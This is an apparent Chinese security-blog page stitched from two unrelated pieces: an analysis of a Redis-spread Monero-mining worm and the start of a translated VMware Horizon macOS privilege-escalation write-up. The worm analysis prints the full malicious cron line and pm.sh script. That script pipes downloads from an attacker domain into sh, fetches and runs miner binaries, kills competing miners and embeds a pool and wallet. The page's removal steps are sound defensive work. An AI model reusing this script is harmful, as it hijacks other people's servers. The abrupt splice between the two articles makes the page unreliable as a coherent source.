比特币在整个2017年的交易中上涨了两倍以上,目前达近两万的新高。比特币的疯涨,同样伴随着安全上的威胁。
在某台服务器中捕获了一挖矿的病毒,分析后是来自国外的挖矿蠕虫,发现利用了redis匿名漏洞在传播。在服务器上发现了恶意的启动的脚本。其存储在定时任务/var/spool/cron/crontabs/root 文件中,内容如下:
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0218 | sh
系统每5分钟运行此脚本,此脚本调用了命令curl来下载www.haveabitchin.com的pm.sh脚本并运行。恶意脚本pm.sh内容如下:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0218 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0218 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddg.222" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.222
fi
chmod +x /tmp/ddg.222 && /tmp/ddg.222
CleanTail()
{
ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
}
DoYam()
{
if [ ! -f "/tmp/AnXqV.yam" ]; then
curl -fsSL http://www.haveabitchin.com/yam -o /tmp/AnXqV.yam
fi
chmod +x /tmp/AnXqV.yam
/tmp/AnXqV.yam -c x -M stratum+tcp://44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM:x@xmr.crypto-pool.fr:443/xmr
}
DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM -p x
}
DoMinerNoAes()
{
if [ ! -f "/tmp/AnXqV.noaes" ]; then
curl -fsSL http://www.haveabitchin.com/minerd.noaes -o /tmp/AnXqV.noaes
fi
chmod +x /tmp/AnXqV.noaes
/tmp/AnXqV.noaes -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "47sghzufGhJJDQEbScMCwVBimTuq6L5JiRixD8VeGbpjCTA12noXmi4ZyBZLc99e66NtnKff34fHsGRoyZk3ES1s1V4QVcB"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "AnXqV" || DoMiner
ps auxf|grep -v grep|grep "AnXqV" || DoYam
ps auxf|grep -v grep|grep "AnXqV" || DoMinerNoAes
恶意脚本不是很长,一个标准的挖矿脚本,使用了stratum协议来完成矿机和矿池之间的TCP通讯,文中有个厚道的CleanTail函数可用来清除。如果要彻底清除,还需要把定时任务脚本给删除即可。恶意脚本中用到了两个域名www.haveabitchin.com和xmr.crypto-pool.fr。通过搜索发现有一些中招的服务器,如图:
其中域名xmr.crypto-pool.fr就是一个专门的蠕虫矿池服务器。如图:
共有20条记录最早可以追溯至2016年4月份,说明蠕虫的变异速度还蛮快的,大有暴发的趋势。一直有人在维护,只是不知道有多少服务器中招而沦为矿机。挖矿已然难如上青天,这样作真得值得吗?呵~。
随附手工清除方法,建议重新安装系统和作好安全防护。
先用命令chkconfig来查看是否有异常的服务和端口,如果有就得先停止服务,没有可作以下操作。
1. 杀掉进程 pkill AnXqV
2. 删除文件 /var/spool/cron/crontabs/*
3. 删除文件 /tmp/AnXqV.yam
4. 删除文件 /tmp/AnXqV
5. 删除文件 /tmp/AnXqV.noaes
6. iptables -A INPUT -s xmr.crypto-pool.fr and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
7. iptables -A INPUT -s www.haveabitchin.com and iptables -A OUTPUT -d www.haveabitchin.com -j DROP
8. 删除异常系统帐号
黑客技术官网地址:http://www.hackdig.com/
译者:myswsun
预估稿费:80RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
0x00 前言
本文我想讨论下VMware Horizon的macOS客户端(版本4.4.0,5164329)中的一个代码注入漏洞,其可以被用于获得本地root权限。好消息是这个问题已经在最新的版本中被修复了。
0x01 分析
在我的MAC上面了解"Open VMware View Client Services"SUID二进制后发现了它。
我认为它是在Horizon的远程USB服务内部使用的,并且只能在启动后输入管理员凭据后才能被利用。
为了进一步调查二进制,我使用了最新的Fireeye的应用程序Monitor.app。它是macOS上的进程监控工具(procmon)。
基于通过Monitor.app捕捉到所有行为,很明显"Open VMware View Client Services"是services.sh的封装。对于脚本文件SUID位被忽略可以理解。
在仔细浏览这个脚本之后,我确定了下面截图中的高亮部分是代码注入漏洞的启动点。尽管我不知道./vmware-usbarbitrator内部工作原理,但是我立马就注意到应该深入调查这个二进制。我(非管理员用户)能设置环境变量VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS,其在SUID执行脚本中使用。
在进一步浏览命令行选项,我很确定我能使用-kext标志加载自定义的内核扩展。
然而,有其他两个问题:
1. 内核扩展只在拥有root:wheel权限才能加载
2. 另外,KEXT必须有苹果的签名
本例的LPE我忽略了问题2。因此我禁用了SIP。
没有评论:
发表评论